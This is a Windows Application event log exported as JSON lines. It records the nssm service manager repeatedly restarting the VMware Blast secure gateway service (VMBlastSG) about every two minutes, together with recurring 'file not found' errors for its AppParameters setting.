{"@timestamp":1646759495072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162292}}
{"@timestamp":1646759495073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162293}}
{"@timestamp":1646759495073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162294}}
{"@timestamp":1646759495074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162295}}
{"@timestamp":1646759623570,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162296}}
{"@timestamp":1646759623570,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162297}}
{"@timestamp":1646759623571,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159092","0"]}}},"module":"Application","provider":"nssm","sequence":162298}}
{"@timestamp":1646759623571,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159092","159092","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162299}}
{"@timestamp":1646759623587,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162300}}
{"@timestamp":1646759623587,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162301}}
{"@timestamp":1646759623588,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162302}}
{"@timestamp":1646759623589,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162303}}
{"@timestamp":1646759752075,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162304}}
{"@timestamp":1646759752078,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162305}}
{"@timestamp":1646759752078,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158300","0"]}}},"module":"Application","provider":"nssm","sequence":162306}}
{"@timestamp":1646759752079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158300","158300","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162307}}
{"@timestamp":1646759752095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162308}}
{"@timestamp":1646759752096,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162309}}
{"@timestamp":1646759752096,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162310}}
{"@timestamp":1646759752097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162311}}
{"@timestamp":1646759880574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162312}}
{"@timestamp":1646759880576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162313}}
{"@timestamp":1646759880576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158744","0"]}}},"module":"Application","provider":"nssm","sequence":162314}}
{"@timestamp":1646759880577,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158744","158744","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162315}}
{"@timestamp":1646759880593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162316}}
{"@timestamp":1646759880593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162317}}
{"@timestamp":1646759880594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162318}}
{"@timestamp":1646759880594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162319}}
{"@timestamp":1646760009062,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162320}}
{"@timestamp":1646760009064,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162321}}
{"@timestamp":1646760009065,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159416","0"]}}},"module":"Application","provider":"nssm","sequence":162322}}
{"@timestamp":1646760009065,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159416","159416","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162323}}
{"@timestamp":1646760009082,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162324}}
{"@timestamp":1646760009083,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162325}}
{"@timestamp":1646760009083,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162326}}
{"@timestamp":1646760009084,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162327}}
{"@timestamp":1646760137565,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162328}}
{"@timestamp":1646760137566,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162329}}
{"@timestamp":1646760137567,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159584","0"]}}},"module":"Application","provider":"nssm","sequence":162330}}
{"@timestamp":1646760137567,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159584","159584","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162331}}
{"@timestamp":1646760137583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162332}}
{"@timestamp":1646760137584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162333}}
{"@timestamp":1646760137585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162334}}
{"@timestamp":1646760137585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162335}}
{"@timestamp":1646760266068,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162336}}
{"@timestamp":1646760266069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162337}}
{"@timestamp":1646760266070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159392","0"]}}},"module":"Application","provider":"nssm","sequence":162338}}
{"@timestamp":1646760266071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159392","159392","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162339}}
{"@timestamp":1646760266087,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162340}}
{"@timestamp":1646760266087,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162341}}
{"@timestamp":1646760266088,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162342}}
{"@timestamp":1646760266089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162343}}
{"@timestamp":1646760394945,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162344}}
{"@timestamp":1646760394946,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162345}}
{"@timestamp":1646760394947,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152840","0"]}}},"module":"Application","provider":"nssm","sequence":162346}}
{"@timestamp":1646760394948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152840","152840","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162347}}
{"@timestamp":1646760394974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162348}}
{"@timestamp":1646760394977,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162349}}
{"@timestamp":1646760394978,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162350}}
{"@timestamp":1646760394979,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162351}}
{"@timestamp":1646760523473,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162352}}
{"@timestamp":1646760523475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162353}}
{"@timestamp":1646760523476,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154048","0"]}}},"module":"Application","provider":"nssm","sequence":162354}}
{"@timestamp":1646760523476,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154048","154048","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162355}}
{"@timestamp":1646760523494,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162356}}
{"@timestamp":1646760523495,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162357}}
{"@timestamp":1646760523495,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162358}}
{"@timestamp":1646760523496,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162359}}
{"@timestamp":1646760652003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162360}}
{"@timestamp":1646760652004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162361}}
{"@timestamp":1646760652005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159512","0"]}}},"module":"Application","provider":"nssm","sequence":162362}}
{"@timestamp":1646760652006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159512","159512","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162363}}
{"@timestamp":1646760652021,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162364}}
{"@timestamp":1646760652022,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162365}}
{"@timestamp":1646760652022,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162366}}
{"@timestamp":1646760652023,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162367}}
{"@timestamp":1646760780559,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162368}}
{"@timestamp":1646760780561,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162369}}
{"@timestamp":1646760780562,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159712","0"]}}},"module":"Application","provider":"nssm","sequence":162370}}
{"@timestamp":1646760780563,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159712","159712","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162371}}
{"@timestamp":1646760780580,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162372}}
{"@timestamp":1646760780581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162373}}
{"@timestamp":1646760780581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162374}}
{"@timestamp":1646760780582,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162375}}
{"@timestamp":1646760909058,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162376}}
{"@timestamp":1646760909058,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162377}}
{"@timestamp":1646760909059,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157736","0"]}}},"module":"Application","provider":"nssm","sequence":162378}}
{"@timestamp":1646760909059,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157736","157736","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162379}}
{"@timestamp":1646760909075,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162380}}
{"@timestamp":1646760909076,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162381}}
{"@timestamp":1646760909076,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162382}}
{"@timestamp":1646760909077,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162383}}
{"@timestamp":1646761037563,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162384}}
{"@timestamp":1646761037565,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162385}}
{"@timestamp":1646761037566,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157884","0"]}}},"module":"Application","provider":"nssm","sequence":162386}}
{"@timestamp":1646761037567,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157884","157884","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162387}}
{"@timestamp":1646761037583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162388}}
{"@timestamp":1646761037583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162389}}
{"@timestamp":1646761037584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162390}}
{"@timestamp":1646761037585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162391}}
{"@timestamp":1646761166079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162392}}
{"@timestamp":1646761166080,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162393}}
{"@timestamp":1646761166081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159548","0"]}}},"module":"Application","provider":"nssm","sequence":162394}}
{"@timestamp":1646761166081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159548","159548","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162395}}
{"@timestamp":1646761166097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162396}}
